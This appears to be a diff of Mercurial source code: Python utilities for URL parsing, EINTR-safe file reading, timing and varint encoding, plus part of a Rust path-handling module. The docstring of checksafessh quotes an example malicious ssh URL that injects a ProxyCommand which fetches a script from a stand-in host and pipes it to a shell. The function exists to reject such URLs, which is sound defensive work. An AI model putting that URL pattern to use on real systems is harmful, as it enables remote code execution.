2828 2828 # On modern systems like Linux, the "read" syscall cannot be interrupted
2829 2829 # when reading "fast" files like on-disk files. So the EINTR issue only
2830 2830 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2831 2831 # files approximately as "fast" files and use the fast (unsafe) code path,
2832 2832 # to minimize the performance impact.
2833 2833 if sys.version_info >= (2, 7, 4):
2834 2834 # fp.readline deals with EINTR correctly, use it as a workaround.
2835 2835 def _safeiterfile(fp):
2836 2836 return iter(fp.readline, b'')
2837 2837
2838 2838 else:
2839 2839 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2840 2840 # note: this may block longer than necessary because of bufsize.
2841 2841 def _safeiterfile(fp, bufsize=4096):
2842 2842 fd = fp.fileno()
2843 2843 line = b''
2844 2844 while True:
2845 2845 try:
2846 2846 buf = os.read(fd, bufsize)
2847 2847 except OSError as ex:
2848 2848 # os.read only raises EINTR before any data is read
2849 2849 if ex.errno == errno.EINTR:
2850 2850 continue
2851 2851 else:
2852 2852 raise
2853 2853 line += buf
2854 2854 if b'\n' in buf:
2855 2855 splitted = line.splitlines(True)
2856 2856 line = b''
2857 2857 for l in splitted:
2858 2858 if l[-1] == b'\n':
2859 2859 yield l
2860 2860 else:
2861 2861 line = l
2862 2862 if not buf:
2863 2863 break
2864 2864 if line:
2865 2865 yield line
2866 2866
2867 2867 def iterfile(fp):
2868 2868 fastpath = True
2869 2869 if type(fp) is file:
2870 2870 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2871 2871 if fastpath:
2872 2872 return fp
2873 2873 else:
2874 2874 return _safeiterfile(fp)
2875 2875
2876 2876
2877 2877 else:
2878 2878 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2879 2879 def iterfile(fp):
2880 2880 return fp
2881 2881
2882 2882
2883 2883 def iterlines(iterator):
2884 2884 for chunk in iterator:
2885 2885 for line in chunk.splitlines():
2886 2886 yield line
2887 2887
2888 2888
2889 2889 def expandpath(path):
2890 2890 return os.path.expanduser(os.path.expandvars(path))
2891 2891
2892 2892
2893 2893 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2894 2894 """Return the result of interpolating items in the mapping into string s.
2895 2895
2896 2896 prefix is a single character string, or a two character string with
2897 2897 a backslash as the first character if the prefix needs to be escaped in
2898 2898 a regular expression.
2899 2899
2900 2900 fn is an optional function that will be applied to the replacement text
2901 2901 just before replacement.
2902 2902
2903 2903 escape_prefix is an optional flag that allows using doubled prefix for
2904 2904 its escaping.
2905 2905 """
2906 2906 fn = fn or (lambda s: s)
2907 2907 patterns = b'|'.join(mapping.keys())
2908 2908 if escape_prefix:
2909 2909 patterns += b'|' + prefix
2910 2910 if len(prefix) > 1:
2911 2911 prefix_char = prefix[1:]
2912 2912 else:
2913 2913 prefix_char = prefix
2914 2914 mapping[prefix_char] = prefix_char
2915 2915 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2916 2916 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2917 2917
2918 2918
2919 2919 def getport(port):
2920 2920 """Return the port for a given network service.
2921 2921
2922 2922 If port is an integer, it's returned as is. If it's a string, it's
2923 2923 looked up using socket.getservbyname(). If there's no matching
2924 2924 service, error.Abort is raised.
2925 2925 """
2926 2926 try:
2927 2927 return int(port)
2928 2928 except ValueError:
2929 2929 pass
2930 2930
2931 2931 try:
2932 2932 return socket.getservbyname(pycompat.sysstr(port))
2933 2933 except socket.error:
2934 2934 raise error.Abort(
2935 2935 _(b"no port number associated with service '%s'") % port
2936 2936 )
2937 2937
2938 2938
2939 2939 class url(object):
2940 2940 r"""Reliable URL parser.
2941 2941
2942 2942 This parses URLs and provides attributes for the following
2943 2943 components:
2944 2944
2945 2945 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2946 2946
2947 2947 Missing components are set to None. The only exception is
2948 2948 fragment, which is set to '' if present but empty.
2949 2949
2950 2950 If parsefragment is False, fragment is included in query. If
2951 2951 parsequery is False, query is included in path. If both are
2952 2952 False, both fragment and query are included in path.
2953 2953
2954 2954 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2955 2955
2956 2956 Note that for backward compatibility reasons, bundle URLs do not
2957 2957 take host names. That means 'bundle://../' has a path of '../'.
2958 2958
2959 2959 Examples:
2960 2960
2961 2961 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2962 2962 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2963 2963 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2964 2964 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2965 2965 >>> url(b'file:///home/joe/repo')
2966 2966 <url scheme: 'file', path: '/home/joe/repo'>
2967 2967 >>> url(b'file:///c:/temp/foo/')
2968 2968 <url scheme: 'file', path: 'c:/temp/foo/'>
2969 2969 >>> url(b'bundle:foo')
2970 2970 <url scheme: 'bundle', path: 'foo'>
2971 2971 >>> url(b'bundle://../foo')
2972 2972 <url scheme: 'bundle', path: '../foo'>
2973 2973 >>> url(br'c:\foo\bar')
2974 2974 <url path: 'c:\\foo\\bar'>
2975 2975 >>> url(br'\\blah\blah\blah')
2976 2976 <url path: '\\\\blah\\blah\\blah'>
2977 2977 >>> url(br'\\blah\blah\blah#baz')
2978 2978 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2979 2979 >>> url(br'file:///C:\users\me')
2980 2980 <url scheme: 'file', path: 'C:\\users\\me'>
2981 2981
2982 2982 Authentication credentials:
2983 2983
2984 2984 >>> url(b'ssh://joe:xyz@x/repo')
2985 2985 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2986 2986 >>> url(b'ssh://joe@x/repo')
2987 2987 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2988 2988
2989 2989 Query strings and fragments:
2990 2990
2991 2991 >>> url(b'http://host/a?b#c')
2992 2992 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2993 2993 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2994 2994 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2995 2995
2996 2996 Empty path:
2997 2997
2998 2998 >>> url(b'')
2999 2999 <url path: ''>
3000 3000 >>> url(b'#a')
3001 3001 <url path: '', fragment: 'a'>
3002 3002 >>> url(b'http://host/')
3003 3003 <url scheme: 'http', host: 'host', path: ''>
3004 3004 >>> url(b'http://host/#a')
3005 3005 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3006 3006
3007 3007 Only scheme:
3008 3008
3009 3009 >>> url(b'http:')
3010 3010 <url scheme: 'http'>
3011 3011 """
3012 3012
3013 3013 _safechars = b"!~*'()+"
3014 3014 _safepchars = b"/!~*'()+:\\"
3015 3015 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3016 3016
3017 3017 def __init__(self, path, parsequery=True, parsefragment=True):
3018 3018 # We slowly chomp away at path until we have only the path left
3019 3019 self.scheme = self.user = self.passwd = self.host = None
3020 3020 self.port = self.path = self.query = self.fragment = None
3021 3021 self._localpath = True
3022 3022 self._hostport = b''
3023 3023 self._origpath = path
3024 3024
3025 3025 if parsefragment and b'#' in path:
3026 3026 path, self.fragment = path.split(b'#', 1)
3027 3027
3028 3028 # special case for Windows drive letters and UNC paths
3029 3029 if hasdriveletter(path) or path.startswith(b'\\\\'):
3030 3030 self.path = path
3031 3031 return
3032 3032
3033 3033 # For compatibility reasons, we can't handle bundle paths as
3034 3034 # normal URLS
3035 3035 if path.startswith(b'bundle:'):
3036 3036 self.scheme = b'bundle'
3037 3037 path = path[7:]
3038 3038 if path.startswith(b'//'):
3039 3039 path = path[2:]
3040 3040 self.path = path
3041 3041 return
3042 3042
3043 3043 if self._matchscheme(path):
3044 3044 parts = path.split(b':', 1)
3045 3045 if parts[0]:
3046 3046 self.scheme, path = parts
3047 3047 self._localpath = False
3048 3048
3049 3049 if not path:
3050 3050 path = None
3051 3051 if self._localpath:
3052 3052 self.path = b''
3053 3053 return
3054 3054 else:
3055 3055 if self._localpath:
3056 3056 self.path = path
3057 3057 return
3058 3058
3059 3059 if parsequery and b'?' in path:
3060 3060 path, self.query = path.split(b'?', 1)
3061 3061 if not path:
3062 3062 path = None
3063 3063 if not self.query:
3064 3064 self.query = None
3065 3065
3066 3066 # // is required to specify a host/authority
3067 3067 if path and path.startswith(b'//'):
3068 3068 parts = path[2:].split(b'/', 1)
3069 3069 if len(parts) > 1:
3070 3070 self.host, path = parts
3071 3071 else:
3072 3072 self.host = parts[0]
3073 3073 path = None
3074 3074 if not self.host:
3075 3075 self.host = None
3076 3076 # path of file:///d is /d
3077 3077 # path of file:///d:/ is d:/, not /d:/
3078 3078 if path and not hasdriveletter(path):
3079 3079 path = b'/' + path
3080 3080
3081 3081 if self.host and b'@' in self.host:
3082 3082 self.user, self.host = self.host.rsplit(b'@', 1)
3083 3083 if b':' in self.user:
3084 3084 self.user, self.passwd = self.user.split(b':', 1)
3085 3085 if not self.host:
3086 3086 self.host = None
3087 3087
3088 3088 # Don't split on colons in IPv6 addresses without ports
3089 3089 if (
3090 3090 self.host
3091 3091 and b':' in self.host
3092 3092 and not (
3093 3093 self.host.startswith(b'[') and self.host.endswith(b']')
3094 3094 )
3095 3095 ):
3096 3096 self._hostport = self.host
3097 3097 self.host, self.port = self.host.rsplit(b':', 1)
3098 3098 if not self.host:
3099 3099 self.host = None
3100 3100
3101 3101 if (
3102 3102 self.host
3103 3103 and self.scheme == b'file'
3104 3104 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3105 3105 ):
3106 3106 raise error.Abort(
3107 3107 _(b'file:// URLs can only refer to localhost')
3108 3108 )
3109 3109
3110 3110 self.path = path
3111 3111
3112 3112 # leave the query string escaped
3113 3113 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3114 3114 v = getattr(self, a)
3115 3115 if v is not None:
3116 3116 setattr(self, a, urlreq.unquote(v))
3117 3117
3118 3118 @encoding.strmethod
3119 3119 def __repr__(self):
3120 3120 attrs = []
3121 3121 for a in (
3122 3122 b'scheme',
3123 3123 b'user',
3124 3124 b'passwd',
3125 3125 b'host',
3126 3126 b'port',
3127 3127 b'path',
3128 3128 b'query',
3129 3129 b'fragment',
3130 3130 ):
3131 3131 v = getattr(self, a)
3132 3132 if v is not None:
3133 3133 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3134 3134 return b'<url %s>' % b', '.join(attrs)
3135 3135
3136 3136 def __bytes__(self):
3137 3137 r"""Join the URL's components back into a URL string.
3138 3138
3139 3139 Examples:
3140 3140
3141 3141 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3142 3142 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3143 3143 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3144 3144 'http://user:pw@host:80/?foo=bar&baz=42'
3145 3145 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3146 3146 'http://user:pw@host:80/?foo=bar%3dbaz'
3147 3147 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3148 3148 'ssh://user:pw@[::1]:2200//home/joe#'
3149 3149 >>> bytes(url(b'http://localhost:80//'))
3150 3150 'http://localhost:80//'
3151 3151 >>> bytes(url(b'http://localhost:80/'))
3152 3152 'http://localhost:80/'
3153 3153 >>> bytes(url(b'http://localhost:80'))
3154 3154 'http://localhost:80/'
3155 3155 >>> bytes(url(b'bundle:foo'))
3156 3156 'bundle:foo'
3157 3157 >>> bytes(url(b'bundle://../foo'))
3158 3158 'bundle:../foo'
3159 3159 >>> bytes(url(b'path'))
3160 3160 'path'
3161 3161 >>> bytes(url(b'file:///tmp/foo/bar'))
3162 3162 'file:///tmp/foo/bar'
3163 3163 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3164 3164 'file:///c:/tmp/foo/bar'
3165 3165 >>> print(url(br'bundle:foo\bar'))
3166 3166 bundle:foo\bar
3167 3167 >>> print(url(br'file:///D:\data\hg'))
3168 3168 file:///D:\data\hg
3169 3169 """
3170 3170 if self._localpath:
3171 3171 s = self.path
3172 3172 if self.scheme == b'bundle':
3173 3173 s = b'bundle:' + s
3174 3174 if self.fragment:
3175 3175 s += b'#' + self.fragment
3176 3176 return s
3177 3177
3178 3178 s = self.scheme + b':'
3179 3179 if self.user or self.passwd or self.host:
3180 3180 s += b'//'
3181 3181 elif self.scheme and (
3182 3182 not self.path
3183 3183 or self.path.startswith(b'/')
3184 3184 or hasdriveletter(self.path)
3185 3185 ):
3186 3186 s += b'//'
3187 3187 if hasdriveletter(self.path):
3188 3188 s += b'/'
3189 3189 if self.user:
3190 3190 s += urlreq.quote(self.user, safe=self._safechars)
3191 3191 if self.passwd:
3192 3192 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3193 3193 if self.user or self.passwd:
3194 3194 s += b'@'
3195 3195 if self.host:
3196 3196 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3197 3197 s += urlreq.quote(self.host)
3198 3198 else:
3199 3199 s += self.host
3200 3200 if self.port:
3201 3201 s += b':' + urlreq.quote(self.port)
3202 3202 if self.host:
3203 3203 s += b'/'
3204 3204 if self.path:
3205 3205 # TODO: similar to the query string, we should not unescape the
3206 3206 # path when we store it, the path might contain '%2f' = '/',
3207 3207 # which we should *not* escape.
3208 3208 s += urlreq.quote(self.path, safe=self._safepchars)
3209 3209 if self.query:
3210 3210 # we store the query in escaped form.
3211 3211 s += b'?' + self.query
3212 3212 if self.fragment is not None:
3213 3213 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3214 3214 return s
3215 3215
3216 3216 __str__ = encoding.strmethod(__bytes__)
3217 3217
3218 3218 def authinfo(self):
3219 3219 user, passwd = self.user, self.passwd
3220 3220 try:
3221 3221 self.user, self.passwd = None, None
3222 3222 s = bytes(self)
3223 3223 finally:
3224 3224 self.user, self.passwd = user, passwd
3225 3225 if not self.user:
3226 3226 return (s, None)
3227 3227 # authinfo[1] is passed to urllib2 password manager, and its
3228 3228 # URIs must not contain credentials. The host is passed in the
3229 3229 # URIs list because Python < 2.4.3 uses only that to search for
3230 3230 # a password.
3231 3231 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3232 3232
3233 3233 def isabs(self):
3234 3234 if self.scheme and self.scheme != b'file':
3235 3235 return True # remote URL
3236 3236 if hasdriveletter(self.path):
3237 3237 return True # absolute for our purposes - can't be joined()
3238 3238 if self.path.startswith(br'\\'):
3239 3239 return True # Windows UNC path
3240 3240 if self.path.startswith(b'/'):
3241 3241 return True # POSIX-style
3242 3242 return False
3243 3243
3244 3244 def localpath(self):
3245 3245 if self.scheme == b'file' or self.scheme == b'bundle':
3246 3246 path = self.path or b'/'
3247 3247 # For Windows, we need to promote hosts containing drive
3248 3248 # letters to paths with drive letters.
3249 3249 if hasdriveletter(self._hostport):
3250 3250 path = self._hostport + b'/' + self.path
3251 3251 elif (
3252 3252 self.host is not None and self.path and not hasdriveletter(path)
3253 3253 ):
3254 3254 path = b'/' + path
3255 3255 return path
3256 3256 return self._origpath
3257 3257
3258 3258 def islocal(self):
3259 3259 '''whether localpath will return something that posixfile can open'''
3260 3260 return (
3261 3261 not self.scheme
3262 3262 or self.scheme == b'file'
3263 3263 or self.scheme == b'bundle'
3264 3264 )
3265 3265
3266 3266
3267 3267 def hasscheme(path):
3268 3268 return bool(url(path).scheme)
3269 3269
3270 3270
3271 3271 def hasdriveletter(path):
3272 3272 return path and path[1:2] == b':' and path[0:1].isalpha()
3273 3273
3274 3274
3275 3275 def urllocalpath(path):
3276 3276 return url(path, parsequery=False, parsefragment=False).localpath()
3277 3277
3278 3278
3279 3279 def checksafessh(path):
3280 3280 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3281 3281
3282 3282 This is a sanity check for ssh urls. ssh will parse the first item as
3283 3283 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3284 3284 Let's prevent these potentially exploited urls entirely and warn the
3285 3285 user.
3286 3286
3287 3287 Raises an error.Abort when the url is unsafe.
3288 3288 """
3289 3289 path = urlreq.unquote(path)
3290 3290 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3291 3291 raise error.Abort(
3292 3292 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3293 3293 )
3294 3294
3295 3295
3296 3296 def hidepassword(u):
3297 3297 '''hide user credential in a url string'''
3298 3298 u = url(u)
3299 3299 if u.passwd:
3300 3300 u.passwd = b'***'
3301 3301 return bytes(u)
3302 3302
3303 3303
3304 3304 def removeauth(u):
3305 3305 '''remove all authentication information from a url string'''
3306 3306 u = url(u)
3307 3307 u.user = u.passwd = None
3308 3308 return bytes(u)
3309 3309
3310 3310
3311 3311 timecount = unitcountfn(
3312 3312 (1, 1e3, _(b'%.0f s')),
3313 3313 (100, 1, _(b'%.1f s')),
3314 3314 (10, 1, _(b'%.2f s')),
3315 3315 (1, 1, _(b'%.3f s')),
3316 3316 (100, 0.001, _(b'%.1f ms')),
3317 3317 (10, 0.001, _(b'%.2f ms')),
3318 3318 (1, 0.001, _(b'%.3f ms')),
3319 3319 (100, 0.000001, _(b'%.1f us')),
3320 3320 (10, 0.000001, _(b'%.2f us')),
3321 3321 (1, 0.000001, _(b'%.3f us')),
3322 3322 (100, 0.000000001, _(b'%.1f ns')),
3323 3323 (10, 0.000000001, _(b'%.2f ns')),
3324 3324 (1, 0.000000001, _(b'%.3f ns')),
3325 3325 )
3326 3326
3327 3327
3328 3328 @attr.s
3329 3329 class timedcmstats(object):
3330 3330 """Stats information produced by the timedcm context manager on entering."""
3331 3331
3332 3332 # the starting value of the timer as a float (meaning and resulution is
3333 3333 # platform dependent, see util.timer)
3334 3334 start = attr.ib(default=attr.Factory(lambda: timer()))
3335 3335 # the number of seconds as a floating point value; starts at 0, updated when
3336 3336 # the context is exited.
3337 3337 elapsed = attr.ib(default=0)
3338 3338 # the number of nested timedcm context managers.
3339 3339 level = attr.ib(default=1)
3340 3340
3341 3341 def __bytes__(self):
3342 3342 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3343 3343
3344 3344 __str__ = encoding.strmethod(__bytes__)
3345 3345
3346 3346
3347 3347 @contextlib.contextmanager
3348 3348 def timedcm(whencefmt, *whenceargs):
3349 3349 """A context manager that produces timing information for a given context.
3350 3350
3351 3351 On entering a timedcmstats instance is produced.
3352 3352
3353 3353 This context manager is reentrant.
3354 3354
3355 3355 """
3356 3356 # track nested context managers
3357 3357 timedcm._nested += 1
3358 3358 timing_stats = timedcmstats(level=timedcm._nested)
3359 3359 try:
3360 3360 with tracing.log(whencefmt, *whenceargs):
3361 3361 yield timing_stats
3362 3362 finally:
3363 3363 timing_stats.elapsed = timer() - timing_stats.start
3364 3364 timedcm._nested -= 1
3365 3365
3366 3366
3367 3367 timedcm._nested = 0
3368 3368
3369 3369
3370 3370 def timed(func):
3371 3371 '''Report the execution time of a function call to stderr.
3372 3372
3373 3373 During development, use as a decorator when you need to measure
3374 3374 the cost of a function, e.g. as follows:
3375 3375
3376 3376 @util.timed
3377 3377 def foo(a, b, c):
3378 3378 pass
3379 3379 '''
3380 3380
3381 3381 def wrapper(*args, **kwargs):
3382 3382 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3383 3383 result = func(*args, **kwargs)
3384 3384 stderr = procutil.stderr
3385 3385 stderr.write(
3386 3386 b'%s%s: %s\n'
3387 3387 % (
3388 3388 b' ' * time_stats.level * 2,
3389 3389 pycompat.bytestr(func.__name__),
3390 3390 time_stats,
3391 3391 )
3392 3392 )
3393 3393 return result
3394 3394
3395 3395 return wrapper
3396 3396
3397 3397
3398 3398 _sizeunits = (
3399 3399 (b'm', 2 ** 20),
3400 3400 (b'k', 2 ** 10),
3401 3401 (b'g', 2 ** 30),
3402 3402 (b'kb', 2 ** 10),
3403 3403 (b'mb', 2 ** 20),
3404 3404 (b'gb', 2 ** 30),
3405 3405 (b'b', 1),
3406 3406 )
3407 3407
3408 3408
3409 3409 def sizetoint(s):
3410 3410 '''Convert a space specifier to a byte count.
3411 3411
3412 3412 >>> sizetoint(b'30')
3413 3413 30
3414 3414 >>> sizetoint(b'2.2kb')
3415 3415 2252
3416 3416 >>> sizetoint(b'6M')
3417 3417 6291456
3418 3418 '''
3419 3419 t = s.strip().lower()
3420 3420 try:
3421 3421 for k, u in _sizeunits:
3422 3422 if t.endswith(k):
3423 3423 return int(float(t[: -len(k)]) * u)
3424 3424 return int(t)
3425 3425 except ValueError:
3426 3426 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3427 3427
3428 3428
3429 3429 class hooks(object):
3430 3430 '''A collection of hook functions that can be used to extend a
3431 3431 function's behavior. Hooks are called in lexicographic order,
3432 3432 based on the names of their sources.'''
3433 3433
3434 3434 def __init__(self):
3435 3435 self._hooks = []
3436 3436
3437 3437 def add(self, source, hook):
3438 3438 self._hooks.append((source, hook))
3439 3439
3440 3440 def __call__(self, *args):
3441 3441 self._hooks.sort(key=lambda x: x[0])
3442 3442 results = []
3443 3443 for source, hook in self._hooks:
3444 3444 results.append(hook(*args))
3445 3445 return results
3446 3446
3447 3447
3448 3448 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3449 3449 '''Yields lines for a nicely formatted stacktrace.
3450 3450 Skips the 'skip' last entries, then return the last 'depth' entries.
3451 3451 Each file+linenumber is formatted according to fileline.
3452 3452 Each line is formatted according to line.
3453 3453 If line is None, it yields:
3454 3454 length of longest filepath+line number,
3455 3455 filepath+linenumber,
3456 3456 function
3457 3457
3458 3458 Not be used in production code but very convenient while developing.
3459 3459 '''
3460 3460 entries = [
3461 3461 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3462 3462 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3463 3463 ][-depth:]
3464 3464 if entries:
3465 3465 fnmax = max(len(entry[0]) for entry in entries)
3466 3466 for fnln, func in entries:
3467 3467 if line is None:
3468 3468 yield (fnmax, fnln, func)
3469 3469 else:
3470 3470 yield line % (fnmax, fnln, func)
3471 3471
3472 3472
3473 3473 def debugstacktrace(
3474 3474 msg=b'stacktrace',
3475 3475 skip=0,
3476 3476 f=procutil.stderr,
3477 3477 otherf=procutil.stdout,
3478 3478 depth=0,
3479 3479 ):
3480 3480 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3481 3481 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3482 3482 By default it will flush stdout first.
3483 3483 It can be used everywhere and intentionally does not require an ui object.
3484 3484 Not be used in production code but very convenient while developing.
3485 3485 '''
3486 3486 if otherf:
3487 3487 otherf.flush()
3488 3488 f.write(b'%s at:\n' % msg.rstrip())
3489 3489 for line in getstackframes(skip + 1, depth=depth):
3490 3490 f.write(line)
3491 3491 f.flush()
3492 3492
3493 3493
3494 def finddirs(path):
3495 pos = path.rfind(b'/')
3496 while pos != -1:
3497 yield path[:pos]
3498 pos = path.rfind(b'/', 0, pos)
3499 yield b''
3500
3501
3502 3494 # convenient shortcut
3503 3495 dst = debugstacktrace
3504 3496
3505 3497
3506 3498 def safename(f, tag, ctx, others=None):
3507 3499 """
3508 3500 Generate a name that it is safe to rename f to in the given context.
3509 3501
3510 3502 f: filename to rename
3511 3503 tag: a string tag that will be included in the new name
3512 3504 ctx: a context, in which the new name must not exist
3513 3505 others: a set of other filenames that the new name must not be in
3514 3506
3515 3507 Returns a file name of the form oldname~tag[~number] which does not exist
3516 3508 in the provided context and is not in the set of other names.
3517 3509 """
3518 3510 if others is None:
3519 3511 others = set()
3520 3512
3521 3513 fn = b'%s~%s' % (f, tag)
3522 3514 if fn not in ctx and fn not in others:
3523 3515 return fn
3524 3516 for n in itertools.count(1):
3525 3517 fn = b'%s~%s~%s' % (f, tag, n)
3526 3518 if fn not in ctx and fn not in others:
3527 3519 return fn
3528 3520
3529 3521
3530 3522 def readexactly(stream, n):
3531 3523 '''read n bytes from stream.read and abort if less was available'''
3532 3524 s = stream.read(n)
3533 3525 if len(s) < n:
3534 3526 raise error.Abort(
3535 3527 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3536 3528 % (len(s), n)
3537 3529 )
3538 3530 return s
3539 3531
3540 3532
3541 3533 def uvarintencode(value):
3542 3534 """Encode an unsigned integer value to a varint.
3543 3535
3544 3536 A varint is a variable length integer of 1 or more bytes. Each byte
3545 3537 except the last has the most significant bit set. The lower 7 bits of
3546 3538 each byte store the 2's complement representation, least significant group
3547 3539 first.
3548 3540
3549 3541 >>> uvarintencode(0)
3550 3542 '\\x00'
3551 3543 >>> uvarintencode(1)
3552 3544 '\\x01'
3553 3545 >>> uvarintencode(127)
3554 3546 '\\x7f'
3555 3547 >>> uvarintencode(1337)
3556 3548 '\\xb9\\n'
3557 3549 >>> uvarintencode(65536)
3558 3550 '\\x80\\x80\\x04'
3559 3551 >>> uvarintencode(-1)
3560 3552 Traceback (most recent call last):
3561 3553 ...
3562 3554 ProgrammingError: negative value for uvarint: -1
3563 3555 """
3564 3556 if value < 0:
3565 3557 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3566 3558 bits = value & 0x7F
3567 3559 value >>= 7
3568 3560 bytes = []
3569 3561 while value:
3570 3562 bytes.append(pycompat.bytechr(0x80 | bits))
3571 3563 bits = value & 0x7F
3572 3564 value >>= 7
3573 3565 bytes.append(pycompat.bytechr(bits))
3574 3566
3575 3567 return b''.join(bytes)
3576 3568
3577 3569
3578 3570 def uvarintdecodestream(fh):
3579 3571 """Decode an unsigned variable length integer from a stream.
3580 3572
3581 3573 The passed argument is anything that has a ``.read(N)`` method.
3582 3574
3583 3575 >>> try:
3584 3576 ... from StringIO import StringIO as BytesIO
3585 3577 ... except ImportError:
3586 3578 ... from io import BytesIO
3587 3579 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3588 3580 0
3589 3581 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3590 3582 1
3591 3583 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3592 3584 127
3593 3585 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3594 3586 1337
3595 3587 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3596 3588 65536
3597 3589 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3598 3590 Traceback (most recent call last):
3599 3591 ...
3600 3592 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3601 3593 """
3602 3594 result = 0
3603 3595 shift = 0
3604 3596 while True:
3605 3597 byte = ord(readexactly(fh, 1))
3606 3598 result |= (byte & 0x7F) << shift
3607 3599 if not (byte & 0x80):
3608 3600 return result
3609 3601 shift += 7
@@ -1,128 +1,128 b''
1 1 // files.rs
2 2 //
3 3 // Copyright 2019
4 4 // Raphaël Gomès <rgomes@octobus.net>,
5 5 // Yuya Nishihara <yuya@tcha.org>
6 6 //
7 7 // This software may be used and distributed according to the terms of the
8 8 // GNU General Public License version 2 or any later version.
9 9
10 10 //! Functions for fiddling with files.
11 11
12 12 use crate::utils::hg_path::{HgPath, HgPathBuf};
13 13 use std::iter::FusedIterator;
14 14
15 15 use std::fs::Metadata;
16 16 use std::path::Path;
17 17
18 18 pub fn get_path_from_bytes(bytes: &[u8]) -> &Path {
19 19 let os_str;
20 20 #[cfg(unix)]
21 21 {
22 22 use std::os::unix::ffi::OsStrExt;
23 23 os_str = std::ffi::OsStr::from_bytes(bytes);
24 24 }
25 25 // TODO Handle other platforms
26 26 // TODO: convert from WTF8 to Windows MBCS (ANSI encoding).
27 27 // Perhaps, the return type would have to be Result<PathBuf>.
28 28
29 29 Path::new(os_str)
30 30 }
31 31
32 32 /// An iterator over repository path yielding itself and its ancestors.
33 33 #[derive(Copy, Clone, Debug)]
34 34 pub struct Ancestors<'a> {
35 35 next: Option<&'a HgPath>,
36 36 }
37 37
38 38 impl<'a> Iterator for Ancestors<'a> {
39 39 type Item = &'a HgPath;
40 40
41 41 fn next(&mut self) -> Option<Self::Item> {
42 42 let next = self.next;
43 43 self.next = match self.next {
44 44 Some(s) if s.is_empty() => None,
45 45 Some(s) => {
46 46 let p = s.bytes().rposition(|c| *c == b'/').unwrap_or(0);
47 47 Some(HgPath::new(&s.as_bytes()[..p]))
48 48 }
49 49 None => None,
50 50 };
51 51 next
52 52 }
53 53 }
54 54
55 55 impl<'a> FusedIterator for Ancestors<'a> {}
56 56
57 57 /// Returns an iterator yielding ancestor directories of the given repository
58 58 /// path.
59 59 ///
60 60 /// The path is separated by '/', and must not start with '/'.
61 61 ///
62 62 /// The path itself isn't included unless it is b"" (meaning the root
63 63 /// directory.)
64 64 pub fn find_dirs<'a>(path: &'a HgPath) -> Ancestors<'a> {
65 65 let mut dirs = Ancestors { next: Some(path) };
66 66 if !path.is_empty() {
67 67 dirs.next(); // skip itself
68 68 }
69 69 dirs
70 70 }
71 71
72 72 /// TODO more than ASCII?
73 73 pub fn normalize_case(path: &HgPath) -> HgPathBuf {
74 74 #[cfg(windows)] // NTFS compares via upper()
75 75 return path.to_ascii_uppercase();
76 76 #[cfg(unix)]
77 77 path.to_ascii_lowercase()
78 78 }
79 79
80 80 #[derive(Eq, PartialEq, Ord, PartialOrd, Copy, Clone)]
81 81 pub struct HgMetadata {
82 82 pub st_dev: u64,
83 83 pub st_mode: u32,
84 84 pub st_nlink: u64,
85 85 pub st_size: u64,
86 86 pub st_mtime: i64,
87 87 pub st_ctime: i64,
88 88 }
89 89
90 90 // TODO support other plaforms
91 91 #[cfg(unix)]
92 92 impl HgMetadata {
93 93 pub fn from_metadata(metadata: Metadata) -> Self {
